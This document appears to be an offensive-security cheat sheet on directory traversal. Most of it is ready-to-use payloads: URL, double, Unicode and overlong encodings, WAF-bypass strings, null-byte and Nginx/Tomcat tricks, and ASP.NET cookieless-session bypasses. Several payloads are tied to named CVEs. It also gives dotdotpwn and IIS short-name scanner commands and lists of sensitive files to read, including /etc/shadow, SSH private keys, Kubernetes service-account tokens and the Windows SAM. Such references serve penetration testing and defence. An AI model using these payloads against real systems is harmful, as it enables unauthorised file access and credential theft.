Directory Traversal

> Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.

* [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer ```powershell perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b ```

We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

| Character | Encoded | | --------- | ------- | | `.` | `%2e` | | `/` | `%2f` | | `\` | `%5c` | **Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion

{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd

Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string. | Character | Encoded | | --------- | ------- | | `.` | `%252e` | | `/` | `%252f` | | `\` | `%255c` | **Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)

{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

| Character | Encoded | | --------- | -------- | | `.` | `%u002e` | | `/` | `%u2215` | | `\` | `%u2216` | **Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)

{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation. | Character | Encoded | | --------- | ------------------------------- | | `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` | | `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` | | `\` | `%c0%5c`, `%c0%80%5c` |

Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.

..././
...\.\

**Example:**: Mirasys DVMS Workstation <=5.12.6

{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini

A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms. **Example:** Homematic CCU3 CVE-2019-9726

{{BaseURL}}/.%00./.%00./etc/passwd

**Example:** Kyocera Printer d-COPIA253MF CVE-2020-23575

{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm

Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.

..;/

**Example**: Pascom Cloud Phone System CVE-2021-45967 A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.

{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}

These exploits affect mechanism linked to specific technologies.

A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems. An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a software system to potentially redirect access to an unintended location or arbitrary file.

\\localhost\c$\windows\win.ini

Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.

When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it. For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID. | .NET Version | URI | | ------------ | -------------------------- | | V1.0, V1.1 | /(XXXXXXXX)/ | | V2.0+ | /(S(XXXXXXXX))/ | | V2.0+ | /(A(XXXXXXXX)F(YYYYYYYY))/ | | V2.0+ | ... | We can use this behavior to bypass filtered URLs. * If your application is in the main folder ```ps1 /(S(X))/ /(Y(Z))/ /(G(AAA-BBB)D(CCC=DDD)E(0-1))/ /(S(X))/admin/(S(X))/main.aspx /(S(x))/b/(S(x))in/Navigator.dll ``` * If your application is in a subfolder ```ps1 /MyApp/(S(X))/ /admin/(S(X))/main.aspx /admin/Foobar/(S(X))/../(S(X))/main.aspx ``` | CVE | Payload | | -------------- | ---------------------------------------------- | | CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx | | - | /WebForm/(S(X))/b/(S(X))in/target2.aspx | | CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ | | - | /WebForm/b/(S(X))in/target2.aspx/(S(X))/ |

The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server. * [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) ```ps1 java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/' java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/' ``` * [bitquark/shortscan](https://github.com/bitquark/shortscan) ```ps1 shortscan http://example.org/ ```

Java's URL protocol when `new URL('')` is used allows the format `url:URL`

url:file:///etc/passwd
url:http://127.0.0.1:8080

* Operating System and Informations ```powershell /etc/issue /etc/group /etc/hosts /etc/motd ``` * Processes ```ps1 /proc/[0-9]*/fd/[0-9]* # first number is the PID, second is the filedescriptor /proc/self/environ /proc/version /proc/cmdline /proc/sched_debug /proc/mounts ``` * Network ```ps1 /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp ``` * Current Path ```ps1 /proc/self/cwd/index.php /proc/self/cwd/main.py ``` * Indexing ```ps1 /var/lib/mlocate/mlocate.db /var/lib/plocate/plocate.db /var/lib/mlocate.db ``` * Credentials and history ```ps1 /etc/passwd /etc/shadow /home/$USER/.bash_history /home/$USER/.ssh/id_rsa /etc/mysql/my.cnf ``` * Kubernetes ```ps1 /run/secrets/kubernetes.io/serviceaccount/token /run/secrets/kubernetes.io/serviceaccount/namespace /run/secrets/kubernetes.io/serviceaccount/certificate /var/run/secrets/kubernetes.io/serviceaccount ```

The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.

C:\Windows\win.ini
C:\windows\system32\license.rtf

A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: [soffensive/windowsblindread](https://github.com/soffensive/windowsblindread)

c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system